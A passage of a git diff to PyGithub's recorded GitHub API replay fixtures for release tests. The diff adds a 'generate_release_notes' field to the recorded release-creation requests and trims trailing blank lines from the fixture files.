('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4802'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"cbef1009bba70497b94cd661a0e8f188"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553914'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '877E:0D15:11BAC33:1E1C79C:5F0DE7FF')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553914","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553914/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553914/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553914,"node_id":"MDc6UmVsZWFzZTI4NTUzOTE0","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:40Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} @@ -51,5 +51,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:41 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4800'), ('X-RateLimit-Reset', '1594749126'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '878E:39DC:8EBC91:14EEAC3:5F0DE800')] - - diff --git a/tests/ReplayData/GitRelease.testDelete.txt b/tests/ReplayData/GitRelease.testDelete.txt index 73daadef77..fb61c2de4f 100644 --- a/tests/ReplayData/GitRelease.testDelete.txt +++ b/tests/ReplayData/GitRelease.testDelete.txt @@ -26,7 +26,7 @@ api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} +{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "generate_release_notes": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4794'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"6cc770f263309efd304dad200a5987f2"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553917'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '87C6:72C3:9AEB34:1613408:5F0DE803')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553917","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553917/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553917/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553917,"node_id":"MDc6UmVsZWFzZTI4NTUzOTE3","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:43Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} @@ -52,4 +52,3 @@ None 404 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4792'), ('X-RateLimit-Reset', '1594749125'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87D8:5BC1:142E2AF:2093284:5F0DE804')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/repos/releases/#get-a-single-release"} - diff --git a/tests/ReplayData/GitRelease.testGetAssets.txt b/tests/ReplayData/GitRelease.testGetAssets.txt index b302463d0c..d823a588d2 100644 --- a/tests/ReplayData/GitRelease.testGetAssets.txt +++ b/tests/ReplayData/GitRelease.testGetAssets.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4787'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b3f0eb974ec883013950ac7199769f0d"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:18 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8806:102D:FA3648:1B9A394:5F0DE806')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"} - diff --git a/tests/ReplayData/GitRelease.testGetLatestRelease.txt b/tests/ReplayData/GitRelease.testGetLatestRelease.txt index 57eb4b0cf1..29ed84f464 100644 --- a/tests/ReplayData/GitRelease.testGetLatestRelease.txt +++ b/tests/ReplayData/GitRelease.testGetLatestRelease.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4783'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8826:7A60:98DACD:15114C0:5F0DE808')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} - diff --git a/tests/ReplayData/GitRelease.testGetRelease.txt b/tests/ReplayData/GitRelease.testGetRelease.txt index 2475637aad..a51bb07eca 100644 --- a/tests/ReplayData/GitRelease.testGetRelease.txt +++ b/tests/ReplayData/GitRelease.testGetRelease.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4779'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '884A:6F6A:3D33F5:8F513F:5F0DE80A')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} - diff --git a/tests/ReplayData/GitRelease.testUpdate.txt b/tests/ReplayData/GitRelease.testUpdate.txt index 2bca9b9e55..7979624e32 100644 --- a/tests/ReplayData/GitRelease.testUpdate.txt +++ b/tests/ReplayData/GitRelease.testUpdate.txt @@ -26,7 +26,7 @@ api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} +{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "generate_release_notes": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4773'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"db319cddcbeed55996b30064eb2bf456"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8882:6F6D:F27F47:1A3F229:5F0DE80D')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553923/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553923,"node_id":"MDc6UmVsZWFzZTI4NTUzOTIz","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:53Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} @@ -62,5 +62,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:54 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4770'), ('X-RateLimit-Reset', '1594749126'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '889C:397F:26CFCB:6B223C:5F0DE80E')] - - diff --git a/tests/ReplayData/GitRelease.testUploadAsset.txt b/tests/ReplayData/GitRelease.testUploadAsset.txt index 3907624a46..b9c62f9229 100644 --- a/tests/ReplayData/GitRelease.testUploadAsset.txt +++ b/tests/ReplayData/GitRelease.testUploadAsset.txt @@ -26,7 +26,7 @@ api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} +{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "generate_release_notes": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4764'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"08734005fd9365fc591d27a27bdf992a"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553925'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '88D4:6F6D:F280BD:1A3F57A:5F0DE811')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553925","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553925/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553925/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553925,"node_id":"MDc6UmVsZWFzZTI4NTUzOTI1","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:57Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repo